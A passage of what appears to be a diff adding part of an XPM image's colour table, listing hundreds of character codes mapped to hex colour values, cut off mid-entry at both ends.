#F6E6C9", +"]j c #EBDABC", +"^j c #766E5C", +"/j c #313206", +"(j c #726E31", +"_j c #A39E46", +":j c #D3CB5D", +"k c #D6D649", +",k c #DADA4B", +"'k c #DCDC4C", +")k c #D5D64D", +"!k c #E6E34E", +"~k c #F9F251", +"{k c #B5BA37", +"]k c #847B54", +"^k c #F3DCC5", +"/k c #EFE0CB", +"(k c #BDB3AC", +"_k c #414111", +":k c #414203", +"l c #ECE43F", +",l c #8F8E41", +"'l c #9A9A42", +")l c #A9AA43", +"!l c #B4B444", +"~l c #E9E246", +"{l c #E9E347", +"]l c #CDCE47", +"^l c #D7D649", +"/l c #D5D34B", +"(l c #F1EA4C", +"_l c #EAE751", +":l c #A9AB32", +"m c #E7E238", +",m c #D8D339", +"'m c #C6C13A", +")m c #A6A33B", +"!m c #CFC63D", +"~m c #E5DF3F", +"{m c #A4A240", +"]m c #B4B141", +"^m c #E8E043", +"/m c #F1E844", +"(m c #CECA45", +"_m c #D2CF46", +":m c #D5D247", +"n c #E1993A", +",n c #E99A3B", +"'n c #FDD035", +")n c #F1F532", +"!n c #F1E734", +"~n c #F0E834", +"{n c #E8E136", +"]n c #D9D437", +"^n c #CAC538", +"/n c #A9A73A", +"(n c #A8A43A", +"_n c #FFFA3C", +":n c #F7F13D", +"o c #D39B43", +",o c #DC9F42", +"'o c #E09F41", +")o c #E29F40", +"!o c #E39F3D", +"~o c #E39D3C", +"{o c #E39B3B", +"]o c #E29A3C", +"^o c #E39C40", +"/o c #E29E41", +"(o c #EA9C40", +"_o c #CC6A23", +":o c #FCCE34", +"p c #B28348", +",p c #C3A546", +"'p c #FFFF45", +")p c #FFFF44", +"!p c #DAC944", +"~p c #A57A43", +"{p c #AB7842", +"]p c #C99440", +"^p c #D3983F", +"/p c #D99B3F", +"(p c #DF9E40", +"_p c #E2A041", +":p c #E4A244", +"

    q c #B39A75", +",q c #3F3E16", +"'q c #6D6721", +")q c #857438", +"!q c #9E7E4A", +"~q c #BA954E", +"{q c #CDA64C", +"]q c #D5A94B", +"^q c #DFAE4A", +"/q c #E4B04A", +"(q c #E7B149", +"_q c #E6B048", +":q c #E0AB47", +"r c #F5E7DC", +",r c #F5E7DF", +"'r c #F5E8E0", +")r c #F7EBE1", +"!r c #FAEEE3", +"~r c #FBEFE3", +"{r c #FAEDE1", +"]r c #F7EADC", +"^r c #F3E4D3", +"/r c #EEDCC7", +"(r c #E7D1B4", +"_r c #F8D8A7", +":r c #AA9071", +"s c #CCB750", +",s c #FFF559", +"'s c #DACE3D", +")s c #5C502E", +"!s c #A8988C", +"~s c #FFEDCC", +"{s c #EFDBBD", +"]s c #EBD9C2", +"^s c #EFDECA", +"/s c #F0E0CF", +"(s c #F3E4D6", +"_s c #F4E4D8", +":s c #F4E4DA", +"t c #343202", +",t c #706826", +"'t c #A79B3A", +")t c #C6B649", +"!t c #C7B64C", +"~t c #EEE24B", +"{t c #C6B94C", +"]t c #D5C94C", +"^t c #DFD14D", +"/t c #C2AE4D", +"(t c #D4BF4D", +"_t c #D6C14D", +":t c #D5C04D", +"u c #FFF5E5", +",u c #F0DDCB", +"'u c #EDDBC4", +")u c #F3DDBE", +"!u c #DAC1A5", +"~u c #484125", +"{u c #4D4910", +"]u c #79702A", +"^u c #A99A3E", +"/u c #C5B549", +"(u c #F3E84B", +"_u c #D9CC4A", +":u c #AC9A4A", +"v c #887836", +",v c #DFC2AE", +"'v c #E8D1B3", +")v c #F5E6D7", +"!v c #F6E7DB", +"~v c #FDEFE6", +"{v c #DED1C6", +"]v c #E3D4C6", +"^v c #FEEDDD", +"/v c #EEDDC9", +"(v c #B5A087", +"_v c #302C0B", +":v c #5A521D", +"w c #DEC700", +",w c #D7C100", +"'w c #C7B100", +")w c #D6C400", +"!w c #E4D400", +"~w c #BDA700", +"{w c #D1BB00", +"]w c #948600", +"^w c #7B6A49", +"/w c #F6D6B4", +"(w c #E8D2B3", +"_w c #ECDAC3", +":w c #EFDECE", +"x c #E7CB00", +",x c #DAC000", +"'x c #CDB500", +")x c #B7A100", +"!x c #EEDF00", +"~x c #B29F00", +"{x c #BDA800", +"]x c #CEB800", +"^x c #DCC400", +"/x c #D6BF00", +"(x c #C5AE00", +"_x c #D9C700", +":x c #E3D200", +"y c #B56500", +",y c #C56E00", +"'y c #D47400", +")y c #D87400", +"!y c #E07705", +"~y c #7E441D", +"{y c #F7BC12", +"]y c #E8D500", +"^y c #E9CB00", +"/y c #E7CA00", +"(y c #DCC100", +"_y c #CFB600", +":y c #BDA400", +"z c #CA7800", +",z c #B86D00", +"'z c #A15800", +")z c #915100", +"!z c #FDF000", +"~z c #D4B300", +"{z c #8E3F00", +"]z c #B36400", +"^z c #C56C00", +"/z c #D67200", +"(z c #E07505", +"_z c #F7BA12", +":z c #E8D200", +"A c #D38400", +",A c #D88500", +"'A c #DA8300", +")A c #DB8400", +"!A c #DE8500", +"~A c #D98200", +"{A c #C97800", +"]A c #B86C00", +"^A c #9E5400", +"/A c #9C5E00", +"(A c #FFFC00", +"_A c #914100", +":A c #B46400", +"B c #9F5700", +",B c #BE7700", +"'B c #CE8100", +")B c #D38100", +"!B c #D78200", +"~B c #DA8400", +"{B c #D58100", +"]B c #C67600", +"^B c #B56A00", +"/B c #984D00", +"(B c #A16700", +"_B c #B98A00", +":B c #954500", +"C c #9D6300", +",C c #C3A200", +"'C c #DFD100", +")C c #E4D200", +"!C c #D3BE00", +"~C c #CFB300", +"{C c #D7BE00", +"]C c #E1CE00", +"^C c #CAA000", +"/C c #A95C00", +"(C c #C27500", +"_C c #CC7E00", +":C c #D28000", +"D c #352500", +",D c #6F4C00", +"'D c #9D6C00", +")D c #CA8B00", +"!D c #CC8B00", +"~D c #B07000", +"{D c #A16600", +"]D c #F1E200", +"^D c #DEC600", +"/D c #A37000", +"(D c #844500", +"_D c #8A4A00", +":D c #A76E00", +"E c #DCA475", +",E c #E8AA72", +"'E c #654A26", +")E c #362500", +"!E c #704D00", +"~E c #C28600", +"{E c #B37800", +"]E c #996200", +"^E c #E5D700", +"/E c #F7F900", +"(E c #A57B00", +"_E c #824200", +":E c #965800", +"F c #E3B095", +",F c #E5B297", +"'F c #E5B292", +")F c #E3AE89", +"!F c #E1AB80", +"~F c #E6AB77", +"{F c #534028", +"]F c #291E08", +"^F c #583F10", +"/F c #765416", +"(F c #825B18", +"_F c #754E15", +":F c #795715", +"G c #DEAB00", +",G c #6D530C", +"'G c #945932", +")G c #C88747", +"!G c #CD975C", +"~G c #DCAA70", +"{G c #D9A783", +"]G c #DCAA91", +"^G c #E3B198", +"/G c #E6B399", +"(G c #E6B294", +"_G c #E3AF8C", +":G c #E0AA83", +"H c #EDD900", +",H c #B98900", +"'H c #D4A100", +")H c #B08B00", +"!H c #734C1B", +"~H c #BE7335", +"{H c #BC8149", +"]H c #CD975E", +"^H c #DFAD73", +"/H c #DDAC86", +"(H c #DCA993", +"_H c #E2B099", +":H c #E5B399", +"I c #F1DE00", +",I c #CDA700", +"'I c #D79E00", +")I c #886C04", +"!I c #734424", +"~I c #C77931", +"{I c #BC8047", +"]I c #CA935B", +"^I c #DCAA71", +"/I c #E1B084", +"(I c #DCAA92", +"_I c #E2AF99", +":I c #E5B099", +"J c #584500", +",J c #7F6300", +"'J c #B88F00", +")J c #D0A100", +"!J c #BB8700", +"~J c #E5CC00", +"{J c #E7D000", +"]J c #D29700", +"^J c #7A6009", +"/J c #774227", +"(J c #C3732B", +"_J c #BA7B40", +":J c #C58C55", +"K c #BB6A27", +",K c #8B5227", +"'K c #2D2809", +")K c #594600", +"!K c #C29500", +"~K c #D4A300", +"{K c #C69300", +"]K c #C89F00", +"^K c #F0DE00", +"/K c #D4A200", +"(K c #947303", +"_K c #643B21", +":K c #BF682A", +"L c #AB5C28", +",L c #AC6124", +"'L c #A96029", +")L c #422F11", +"!L c #433900", +"~L c #826500", +"{L c #BD9200", +"]L c #D09F00", +"^L c #B88300", +"/L c #E4CA00", +"(L c #CA8F00", +"_L c #796109", +":L c #5E3123", +"M c #A45527", +",M c #A65B22", +"'M c #BF6827", +")M c #663E1B", +"!M c #725800", +"~M c #AD8500", +"{M c #D2A100", +"]M c #C59100", +"^M c #D4A800", +"/M c #CC9600", +"(M c #755E07", +"_M c #532E1C", +":M c #A75C33", +"N c #9C8E10", +",N c #883B25", +"'N c #AA5C21", +")N c #B66023", +"!N c #864B24", +"~N c #221F07", +"{N c #5A4400", +"]N c #937200", +"^N c #C89900", +"/N c #D6A100", +"(N c #D09E00", +"_N c #B98300", +":N c #DDBF00", +"O c #A45620", +",O c #B35C25", +"'O c #452D15", +")O c #2D2600", +"!O c #785900", +"~O c #B38900", +"{O c #D2A000", +"]O c #CA9900", +"^O c #BD8800", +"/O c #D4AE00", +"(O c #B57A00", +"_O c #E0A400", +":O c #B78900", +"P c #1D0A03", +",P c #6C3B1E", +"'P c #BA5D20", +")P c #A0531E", +"!P c #B95C20", +"~P c #7B4321", +"{P c #1B1905", +"]P c #593D00", +"^P c #957100", +"/P c #C79A00", +"(P c #D3A100", +"_P c #D19E00", +":P c #BF8700", +"

    Q c #B05320", +",Q c #A0511C", +"'Q c #A2511C", +")Q c #B25621", +"!Q c #422C15", +"~Q c #262100", +"{Q c #735000", +"]Q c #B18500", +"^Q c #D09D00", +"/Q c #D29F00", +"(Q c #CE9C00", +"_Q c #B97C00", +":Q c #E3C600", +"R c #9E4D1C", +",R c #B4541C", +"'R c #7F411F", +")R c #212607", +"!R c #513500", +"~R c #8F6500", +"{R c #C29100", +"]R c #D29E00", +"^R c #CA9400", +"/R c #BC8100", +"(R c #EFDC00", +"_R c #F2E100", +":R c #B67B00", +"S c #333400", +",S c #684000", +"'S c #AA7A00", +")S c #CB9700", +"!S c #C68F00", +"~S c #BD8100", +"{S c #F1DF00", +"]S c #7A4B09", +"^S c #8A492B", +"/S c #C17638", +"(S c #C07E40", +"_S c #C28042", +":S c #C38341", +"T c #BD7033", +",T c #BE7A3B", +"'T c #C07C3E", +")T c #BC783C", +"!T c #BB7134", +"~T c #A75428", +"{T c #4E3D0F", +"]T c #4E4F00", +"^T c #593300", +"/T c #854500", +"(T c #B67200", +"_T c #C07D00", +":T c #C07A00", +"U c #A45A00", +",U c #AA5B00", +"'U c #BA7500", +")U c #BF7900", +"!U c #C07800", +"~U c #C27900", +"{U c #C37A00", +"]U c #C47C00", +"^U c #C67C00", +"/U c #C77C00", +"(U c #CB7C00", +"_U c #D08000", +":U c #D88600", +"V c #F8FF00", +",V c #EEE000", +"'V c #B87D00", +")V c #A25000", +"!V c #AC5B00", +"~V c #BB7200", +"{V c #C17900", +"]V c #C27A00", +"^V c #C57D00", +"/V c #C97E00", +"(V c #D18300", +"_V c #D88800", +":V c #DB8A00", +"W c #D58600", +",W c #DA8A00", +"'W c #DD8B00", +")W c #E08A00", +"!W c #E18B00", +"~W c #E18C00", +"{W c #E08500", +"]W c #E08400", +"^W c #E08300", +"/W c #DE7B00", +"(W c #DD7800", +"_W c #E57B05", +":W c #5F2E1A", +"X c #DC7700", +",X c #E67A05", +"'X c #7D431D", +")X c #5D2D1A", +"!X c #B96422", +"~X c #D89510", +"{X c #B78500", +"]X c #F2E200", +"^X c #ECD900", +"/X c #AD7400", +"(X c #C39200", +"_X c #CB9D00", +":X c #CEA100", +"Y c #E77B05", +",Y c #E48026", +"'Y c #5B2C19", +")Y c #B26122", +"!Y c #C8800F", +"~Y c #D4B400", +"{Y c #BF8F00", +"]Y c #BB8500", +"^Y c #CA9A00", +"/Y c #CE9F00", +"(Y c #CFA100", +"_Y c #CA9B00", +":Y c #B77F00", +"Z c #471826", +",Z c #592B19", +"'Z c #AD5E21", +")Z c #C37C0E", +"!Z c #F1E400", +"~Z c #C89500", +"{Z c #CB9A00", +"]Z c #CE9E00", +"^Z c #B27700", +"/Z c #FDFA00", +"(Z c #DCC300", +"_Z c #BF9000", +":Z c #B37D00", +"` c #B87F00", +",` c #C38F00", +"'` c #C49100", +")` c #BD8700", +"!` c #BA7800", +"~` c #A27501", +"{` c #432511", +"]` c #82140F", +"^` c #A4360F", +"/` c #9B4115", +"(` c #A04817", +"_` c #A04816", +":` c #983A14", +"<` c #8F2B0F", +"[` c #A6260C", +"}` c #511F13", +"|` c #262304", +"1` c #523000", +"2` c #937500", +"3` c #E9DE00", +"4` c #FEFE00", +"5` c #F2E300", +"6` c #E3C800", +"7` c #D9B800", +"8` c #CFA000", +"9` c #D4AC00", +"0` c #F5EA00", +"a` c #FEFF00", +"b` c #C29000", +"c` c #BF7300", +"d` c #59360C", +"e` c #691312", +"f` c #A13411", +"g` c #9B4016", +"h` c #A04A16", +"i` c #A34715", +"j` c #A32F13", +"k` c #3F0615", +"l` c #374007", +"m` c #C5CE00", +"n` c #E6DE00", +"o` c #C48600", +"p` c #9A5A00", +"q` c #633714", +"r` c #AE511E", +"s` c #B46320", +"t` c #B86921", +"u` c #B76721", +"v` c #B15D1E", +"w` c #B54917", +"x` c #5F2812", +"y` c #2E2303", +"z` c #623B00", +"A` c #A48800", +"B` c #EADC00", +"C` c #EFDB00", +"D` c #D19800", +"E` c #B65D00", +"F` c #B86200", +"G` c #BC6F00", +"H` c #AA4F00", +"I` c #AF5F00", +"J` c #CC9B00", +"K` c #D1A900", +"L` c #AB5A00", +"M` c #9F3800", +"N` c #B65A00", +"O` c #CB7400", +"P` c #D87F00", +"Q` c #DD8100", +"R` c #E07E00", +"S` c #E07B00", +"T` c #DF7B00", +"U` c #E77C05", +"V` c #592B18", +"W` c #AA5821", +"X` c #CB830E", +"Y` c #C89600", +"Z` c #BB8100", +"`` c #BA8500", +" . c #F3E800", +". . c #AC7000", +"+ . c #B47800", +"@ . c #C89700", +"# . c #CD9F00", +"$ . c #D1A400", +"% . c #D3A600", +"& . c #D3A700", +"* . c #CC9D00", +"= . c #C18F00", +"- . c #CE9000", +"; . c #946F05", +"> . c #350D13", +", . c #5C0010", +"' . c #8B1C0D", +") . c #98240C", +"! . c #97200C", +"~ . c #901C0C", +"{ . c #8A190E", +"] . c #5D1414", +"^ . c #25140D", +"/ . c #4C3A00", +"( . c #8C8800", +"_ . c #D4D500", +": . c #EFDF00", +"< . c #DAB700", +"[ . c #BC8000", +"} . c #BE8000", +"| . c #C48800", +"1 . c #C88E00", +"2 . c #C58700", +"3 . c #BD7B00", +"4 . c #BB7900", +"5 . c #F5DA00", +"6 . c #A77C02", +"7 . c #3C0611", +"8 . c #901D0F", +"9 . c #9B3C13", +"0 . c #9E4316", +"a . c #A14B16", +"b . c #A64815", +"c . c #A73414", +"d . c #440A16", +"e . c #212308", +"f . c #AEB000", +"g . c #B09B01", +"h . c #6A2F17", +"i . c #BB581D", +"j . c #B6651E", +"k . c #B9691F", +"l . c #B6651F", +"m . c #AF5A1B", +"n . c #B14415", +"o . c #552212", +"p . c #373103", +"q . c #6B4600", +"r . c #C17800", +"s . c #ECD600", +"t . c #CC8C00", +"u . c #B96100", +"v . c #B25A00", +"w . c #A64500", +"x . c #A54A00", +"y . c #BE8100", +"z . c #F6EF00", +"A . c #FCFC00", +"B . c #C69200", +"C . c #A04400", +"D . c #A13A00", +"E . c #BB6200", +"F . c #C66F00", +"G . c #CF7400", +"H . c #E07D00", +"I . c #E07C00", +"J . c #DF7900", +"K . c #E87C05", +"L . c #592A18", +"M . c #AB5522", +"N . c #F2C90F", +"O . c #C68E00", +"P . c #C89300", +"Q . c #C38D00", +"R . c #B17200", +"S . c #EDDB00", +"T . c #F6EE00", +"U . c #B37700", +"V . c #B87C00", +"W . c #CC9A00", +"X . c #D4A400", +"Y . c #DBAC00", +"Z . c #DEAF00", +"` . c #E0B100", +" .. c #DEB000", +"... c #D7A900", +"+.. c #CD9B00", +"@.. c #C18D00", +"#.. c #C17600", +"$.. c #AB8D03", +"%.. c #8E8D0C", +"&.. c #5B260D", +"*.. c #4D1410", +"=.. c #4D1610", +"-.. c #51210F", +";.. c #4F270C", +">.. c #382709", +",.. c #726D00", +"'.. c #A9A900", +").. c #B3A300", +"!.. c #BA7C00", +"~.. c #BF7F00", +"{.. c #C98F00", +"].. c #D09B00", +"^.. c #D4A000", +"/.. c #D6A200", +"(.. c #D8A400", +"_.. c #D7A400", +":.. c #D49F00", +"<.. c #CF9700", +"[.. c #BA7400", +"}.. c #CEA000", +"|.. c #F5EF00", +"1.. c #8A7D08", +"2.. c #430011", +"3.. c #A32D0D", +"4.. c #9B3F13", +"5.. c #A14515", +"6.. c #A54F15", +"7.. c #AC5114", +"8.. c #B34715", +"9.. c #581818", +"0.. c #0F050B", +"a.. c #948400", +"b.. c #B6B802", +"c.. c #874C19", +"d.. c #C4651A", +"e.. c #B8661D", +"f.. c #BA681E", +"g.. c #B6631C", +"h.. c #AD5619", +"i.. c #A93D12", +"j.. c #4F2011", +"k.. c #3C3403", +"l.. c #714C00", +"m.. c #A56E00", +"n.. c #CB7F00", +"o.. c #C66B00", +"p.. c #CB8000", +"q.. c #E6C300", +"r.. c #F3E500", +"s.. c #CD8B00", +"t.. c #BA5D00", +"u.. c #BA5C00", +"v.. c #BF6C00", +"w.. c #BF6E00", +"x.. c #BD6B00", +"y.. c #B75F00", +"z.. c #A43D00", +"A.. c #A84E00", +"B.. c #CB9B00", +"C.. c #B67600", +"D.. c #983500", +"E.. c #AA4600", +"F.. c #C26900", +"G.. c #CC7100", +"H.. c #E17E00", +"I.. c #E17D00", +"J.. c #E07A00", +"K.. c #E07800", +"L.. c #E87B05", +"M.. c #5A2A19", +"N.. c #B86423", +"O.. c #F7C910", +"P.. c #CF9A00", +"Q.. c #B57500", +"R.. c #CEA400", +"S.. c #B47300", +"T.. c #D6A600", +"U.. c #DFB100", +"V.. c #E8B500", +"W.. c #E9B500", +"X.. c #DDB000", +"Y.. c #C28700", +"Z.. c #B98000", +"`.. c #F8E000", +" +. c #A67601", +".+. c #917404", +"++. c #846E05", +"@+. c #826702", +"#+. c #846000", +"$+. c #C0B400", +"%+. c #D9D800", +"&+. c #B69100", +"*+. c #B07100", +"=+. c #C08100", +"-+. c #CC9300", +";+. c #CF9800", +">+. c #D29B00", +",+. c #D9A600", +"'+. c #DEAD00", +")+. c #DDAA00", +"!+. c #D9A500", +"~+. c #D6A000", +"{+. c #D09500", +"]+. c #E3C500", +"^+. c #6B5B0E", +"/+. c #6A000D", +"(+. c #A03A0F", +"_+. c #9F4313", +":+. c #A44A14", +"<+. c #AD5915", +"[+. c #B45D14", +"}+. c #C55B16", +"|+. c #79351A", +"1+. c #1B0607", +"2+. c #241803", +"3+. c #9E5E1B", +"4+. c #D48022", +"5+. c #C07329", +"6+. c #BA6821", +"7+. c #B45E17", +"8+. c #AB5115", +"9+. c #A33510", +"0+. c #491E0F", +"a+. c #413602", +"b+. c #764F00", +"c+. c #AE7500", +"d+. c #D68F00", +"e+. c #DB9000", +"f+. c #C26700", +"g+. c #CA7D00", +"h+. c #E9C800", +"i+. c #F6EC00", +"j+. c #D59E00", +"k+. c #BB5F00", +"l+. c #BC5D00", +"m+. c #C36F00", +"n+. c #C16D00", +"o+. c #BF6A00", +"p+. c #B35300", +"q+. c #9E3500", +"r+. c #AB5B00", +"s+. c #DABE00", +"t+. c #D8BC00", +"u+. c #A65500", +"v+. c #9C3200", +"w+. c #BC5E00", +"x+. c #CA6E00", +"y+. c #C06825", +"z+. c #E49811", +"A+. c #D7A600", +"B+. c #D7A200", +"C+. c #C78D00", +"D+. c #B16F00", +"E+. c #F4E600", +"F+. c #B06E00", +"G+. c #C88F00", +"H+. c #DFAF00", +"I+. c #EAB600", +"J+. c #E3B300", +"K+. c #DCAE00", +"L+. c #F6EA00", +"M+. c #F5E800", +"N+. c #B57200", +"O+. c #CC8F00", +"P+. c #D79B00", +"Q+. c #D59900", +"R+. c #DBBD00", +"S+. c #C28C00", +"T+. c #B77100", +"U+. c #C78B00", +"V+. c #CE9600", +"W+. c #D09A00", +"X+. c #D39E00", +"Y+. c #D6A300", +"Z+. c #DBA800", +"`+. c #DFAD00", +" @. c #E2B200", +".@. c #E5B500", +"+@. c #E6B500", +"@@. c #E3B000", +"#@. c #DFAA00", +"$@. c #DAA100", +"%@. c #D59A00", +"&@. c #C98600", +"*@. c #B66600", +"=@. c #F0C500", +"-@. c #D8F105", +";@. c #471010", +">@. c #951709", +",@. c #9C3F10", +"'@. c #A44712", +")@. c #AB5414", +"!@. c #B66615", +"~@. c #BB6B14", +"{@. c #D26E16", +"]@. c #8C4819", +"^@. c #291A16", +"/@. c #A95F2B", +"(@. c #D07D3B", +"_@. c #CA8138", +":@. c #C37727", +"<@. c #B56215", +"[@. c #A84B12", +"}@. c #9A2C0F", +"|@. c #421D0E", +"1@. c #443701", +"2@. c #785100", +"3@. c #B47900", +"4@. c #DD9400", +"5@. c #DF9500", +"6@. c #D98F00", +"7@. c #D78A00", +"8@. c #CF7900", +"9@. c #C56700", +"0@. c #E3B900", +"a@. c #F4E800", +"b@. c #F1E100", +"c@. c #CE8900", +"d@. c #BA5300", +"e@. c #C36700", +"f@. c #BD6600", +"g@. c #A94400", +"h@. c #973200", +"i@. c #F8F700", +"j@. c #B97E00", +"k@. c #992E00", +"l@. c #BA5900", +"m@. c #C86C00", +"n@. c #D37300", +"o@. c #E17C00", +"p@. c #DF7800", +"q@. c #E97C05", +"r@. c #5E2D1A", +"s@. c #C56A26", +"t@. c #EFA511", +"u@. c #E0B400", +"v@. c #BC7B00", +"w@. c #CC9F00", +"x@. c #D4B000", +"y@. c #B56F00", +"z@. c #CD9600", +"A@. c #E4B300", +"B@. c #EAB500", +"C@. c #E9B600", +"D@. c #DFB000", +"E@. c #D9A700", +"F@. c #C48400", +"G@. c #DEB900", +"H@. c #C68C00", +"I@. c #C78800", +"J@. c #CF9900", +"K@. c #C88800", +"L@. c #D9B200", +"M@. c #B26500", +"N@. c #C58800", +"O@. c #CD9000", +"P@. c #CE8F00", +"Q@. c #D19500", +"R@. c #E1AF00", +"S@. c #E8B600", +"T@. c #E6B200", +"U@. c #E3AD00", +"V@. c #DEA500", +"W@. c #D79C00", +"X@. c #CE8E00", +"Y@. c #BB6A00", +"Z@. c #F6CE00", +"`@. c #858E0C", +" #. c #53000D", +".#. c #A53009", +"+#. c #A0440F", +"@#. c #A84E11", +"##. c #B56213", +"$#. c #C2741B", +"%#. c #C27826", +"&#. c #CD7630", +"*#. c #BF6C38", +"=#. c #C07445", +"-#. c #C6774A", +";#. c #C57642", +">#. c #C67A2A", +",#. c #BC6C12", +"'#. c #AB4F0E", +")#. c #92290D", +"!#. c #3D160C", +"~#. c #463200", +"{#. c #794F00", +"]#. c #B77A00", +"^#. c #DD9600", +"/#. c #E19700", +"(#. c #DF9200", +"_#. c #DC8F00", +":#. c #DA8C00", +"<#. c #D68700", +"[#. c #C46300", +"}#. c #C66E00", +"|#. c #E3B800", +"1#. c #FEFD00", +"2#. c #C15F00", +"3#. c #C05C00", +"4#. c #C97200", +"5#. c #C16A00", +"6#. c #B75800", +"7#. c #9A2F00", +"8#. c #A65D00", +"9#. c #BE8900", +"0#. c #932400", +"a#. c #B85200", +"b#. c #C96B00", +"c#. c #E17B00", +"d#. c #E17A00", +"e#. c #E07900", +"f#. c #E97D05", +"g#. c #602E1B", +"h#. c #CA6C27", +"i#. c #F4A911", +"j#. c #E4B800", +"k#. c #DBA700", +"l#. c #B77200", +"m#. c #DCBA00", +"n#. c #C28F00", +"o#. c #BC7900", +"p#. c #EAB700", +"q#. c #EBB700", +"r#. c #E2B400", +"s#. c #D09700", +"t#. c #FCF800", +"u#. c #DDB900", +"v#. c #C27F00", +"w#. c #D19900", +"x#. c #BE7900", +"y#. c #E4C800", +"z#. c #FAF300", +"A#. c #B46E00", +"B#. c #BC7800", +"C#. c #C07900", +"D#. c #C78600", +"E#. c #D19C00", +"F#. c #D6A900", +"G#. c #C78200", +"H#. c #D09100", +"I#. c #DAA300", +"J#. c #DFA900", +"K#. c #E4B100", +"L#. c #E5B100", +"M#. c #E0A900", +"N#. c #D99F00", +"O#. c #CF8F00", +"P#. c #CE7800", +"Q#. c #D5C102", +"R#. c #57420F", +"S#. c #7B0007", +"T#. c #A03A0B", +"U#. c #A6490D", +"V#. c #B15A0F", +"W#. c #C27425", +"X#. c #CB8139", +"Y#. c #CD8545", +"Z#. c #CE7F52", +"`#. c #CA7D5A", +" $. c #CA7F56", +".$. c #C67648", +"+$. c #BE6D2B", +"@$. c #B9660F", +"#$. c #AC4D0A", +"$$. c #87210C", +"%$. c #432A09", +"&$. c #4A3000", +"*$. c #723F00", +"=$. c #DA8D00", +"-$. c #E09300", +";$. c #E09400", +">$. c #E19400", +",$. c #DF9300", +"'$. c #DD9000", +")$. c #DA8B00", +"!$. c #D78600", +"~$. c #D07700", +"{$. c #C35C00", +"]$. c #D18500", +"^$. c #F3DF00", +"/$. c #D08800", +"($. c #BE5400", +"_$. c #C06300", +":$. c #A03300", +"<$. c #9A4100", +"[$. c #C59600", +"}$. c #972B00", +"|$. c #B54D00", +"1$. c #CA6C00", +"2$. c #D47300", +"3$. c #E17900", +"4$. c #EA7D05", +"5$. c #F8AB12", +"6$. c #DDA700", +"7$. c #B97200", +"8$. c #BF8800", +"9$. c #BE7B00", +"0$. c #D19A00", +"a$. c #DDAB00", +"b$. c #EBB800", +"c$. c #E9B700", +"d$. c #C48100", +"e$. c #E3C100", +"f$. c #C38400", +"g$. c #D19700", +"h$. c #D5A000", +"i$. c #CE9300", +"j$. c #E8CF00", +"k$. c #B16200", +"l$. c #BA7300", +"m$. c #DCB800", +"n$. c #F9F600", +"o$. c #EAD200", +"p$. c #C98100", +"q$. c #E0AA00", +"r$. c #EBB900", +"s$. c #EABA00", +"t$. c #E1A900", +"u$. c #DA9D00", +"v$. c #CA8400", +"w$. c #E89600", +"x$. c #A2A108", +"y$. c #45060E", +"z$. c #991805", +"A$. c #9F400A", +"B$. c #AA5009", +"C$. c #BC6C1E", +"D$. c #CC803C", +"E$. c #D48C4F", +"F$. c #D5905D", +"G$. c #CC8163", +"H$. c #CD7E5F", +"I$. c #CA7A4D", +"J$. c #BE692A", +"K$. c #B1590B", +"L$. c #A84407", +"M$. c #7A110A", +"N$. c #453A08", +"O$. c #6A7000", +"P$. c #764700", +"Q$. c #A54F00", +"R$. c #E29600", +"S$. c #E29400", +"T$. c #E19000", +"U$. c #DE8B00", +"V$. c #DA8600", +"W$. c #CA6700", +"X$. c #C25B00", +"Y$. c #E2B500", +"Z$. c #DEAA00", +"`$. c #BE5200", +" %. c #CB6D00", +".%. c #CD7200", +"+%. c #C96C00", +"@%. c #AE4400", +"#%. c #8E2500", +"$%. c #C39700", +"%%. c #D2AF00", +"&%. c #9D3200", +"*%. c #B95200", +"=%. c #CC6B00", +"-%. c #D67100", +";%. c #DD7700", +">%. c #F7AB12", +",%. c #DCA500", +"'%. c #B86F00", +")%. c #DBB500", +"!%. c #C08700", +"~%. c #DAA400", +"{%. c #E9B800", +"]%. c #DCA800", +"^%. c #D39900", +"/%. c #C48300", +"(%. c #E5C600", +"_%. c #C57F00", +":%. c #D8A100", +"<%. c #D69F00", +"[%. c #CA8800", +"}%. c #C78E00", +"|%. c #923700", +"1%. c #F9F400", +"2%. c #F9F500", +"3%. c #E1BC00", +"4%. c #D09600", +"5%. c #D09400", +"6%. c #DFB900", +"7%. c #F8F200", +"8%. c #CB8C00", +"9%. c #CB8500", +"0%. c #DBA300", +"a%. c #E2AC00", +"b%. c #EAB800", +"c%. c #EAB900", +"d%. c #E9B400", +"e%. c #E6AE00", +"f%. c #E1A400", +"g%. c #D89700", +"h%. c #CB7800", +"i%. c #EAB300", +"j%. c #6D6B0E", +"k%. c #570008", +"l%. c #A42C04", +"m%. c #A14506", +"n%. c #B25B0E", +"o%. c #C57830", +"p%. c #CD844D", +"q%. c #D9945E", +"r%. c #D69065", +"s%. c #CC7D5E", +"t%. c #C8754B", +"u%. c #BD6824", +"v%. c #AC5006", +"w%. c #A43905", +"x%. c #761609", +"y%. c #2C0B08", +"z%. c #5F5200", +"A%. c #A4A700", +"B%. c #BA5500", +"C%. c #CB7300", +"D%. c #D68800", +"E%. c #DC8D00", +"F%. c #E19200", +"G%. c #E49400", +"H%. c #E49300", +"I%. c #E39100", +"J%. c #E18E00", +"K%. c #DD8800", +"L%. c #D27900", +"M%. c #C25800", +"N%. c #D38900", +"O%. c #E6BD00", +"P%. c #C05200", +"Q%. c #CF7300", +"R%. c #CB6E00", +"S%. c #C76900", +"T%. c #B74F00", +"U%. c #912300", +"V%. c #CEA300", +"W%. c #9F2C00", +"X%. c #CE6A00", +"Y%. c #481927", +"Z%. c #5F2E1B", +"`%. c #C96C27", +" &. c #DCA400", +".&. c #D29500", +"+&. c #BA6D00", +"@&. c #E3AF00", +"#&. c #E0AB00", +"$&. c #D9A100", +"%&. c #D8AA00", +"&&. c #FDFB00", +"*&. c #CE9400", +"=&. c #CE8C00", +"-&. c #C77F00", +";&. c #B48400", +">&. c #904700", +",&. c #BF7600", +"'&. c #CF8C00", +")&. c #C07000", +"!&. c #C48000", +"~&. c #FCF900", +"{&. c #C78100", +"]&. c #DEA400", +"^&. c #EBB500", +"/&. c #EAB200", +"(&. c #E5AA00", +"_&. c #DE9F00", +":&. c #D38E00", +"<&. c #DBCD04", +"[&. c #49360F", +"}&. c #6F0003", +"|&. c #A43604", +"1&. c #A74A02", +"2&. c #BD6A15", +"3&. c #C5763E", +"4&. c #D08555", +"5&. c #D7905E", +"6&. c #D18757", +"7&. c #C46F41", +"8&. c #BA6117", +"9&. c #AA4B02", +"0&. c #9F2703", +"a&. c #6B1509", +"b&. c #382F07", +"c&. c #400800", +"d&. c #8D6F00", +"e&. c #F9FF00", +"f&. c #E1B900", +"g&. c #BB5A00", +"h&. c #C56400", +"i&. c 